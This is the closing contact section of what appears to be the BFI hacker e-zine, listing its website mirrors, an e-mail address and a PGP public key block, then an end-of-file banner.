http://bfi.s0ftpj.org [main site - IT] http://bfi.cx [mirror - IT] http://bfi.freaknet.org [mirror - AT] http://bfi.anomalistic.org [mirror - SG] -[ E-MAiL ]------------------------------------------------------------------- bfi@s0ftpj.org -[ PGP ]---------------------------------------------------------------------- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzZsSu8AAAEIAM5FrActPz32W1AbxJ/LDG7bB371rhB1aG7/AzDEkXH67nni DrMRyP+0u4tCTGizOGof0s/YDm2hH4jh+aGO9djJBzIEU8p1dvY677uw6oVCM374 nkjbyDjvBeuJVooKo+J6yGZuUq7jVgBKsR0uklfe5/0TUXsVva9b1pBfxqynK5OO lQGJuq7g79jTSTqsa0mbFFxAlFq5GZmL+fnZdjWGI0c2pZrz+Tdj2+Ic3dl9dWax iuy9Bp4Bq+H0mpCmnvwTMVdS2c+99s9unfnbzGvO6KqiwZzIWU9pQeK+v7W6vPa3 TbGHwwH4iaAWQH0mm7v+KdpMzqUPucgvfugfx+kABRO0FUJmSTk4IDxiZmk5OEB1 c2EubmV0PokBFQMFEDZsSu+5yC9+6B/H6QEBb6EIAMRP40T7m4Y1arNkj5enWC/b a6M4oog42xr9UHOd8X2cOBBNB8qTe+dhBIhPX0fDJnnCr0WuEQ+eiw0YHJKyk5ql GB/UkRH/hR4IpA0alUUjEYjTqL5HZmW9phMA9xiTAqoNhmXaIh7MVaYmcxhXwoOo WYOaYoklxxA5qZxOwIXRxlmaN48SKsQuPrSrHwTdKxd+qB7QDU83h8nQ7dB4MAse gDvMUdspekxAX8XBikXLvVuT0ai4xd8o8owWNR5fQAsNkbrdjOUWrOs0dbFx2K9J l3XqeKl3XEgLvVG8JyhloKl65h9rUyw6Ek5hvb5ROuyS/lAGGWvxv2YJrN8ABLo= =o7CG -----END PGP PUBLIC KEY BLOCK----- ============================================================================== -----------------------------------[ EOF ]------------------------------------ ==============================================================================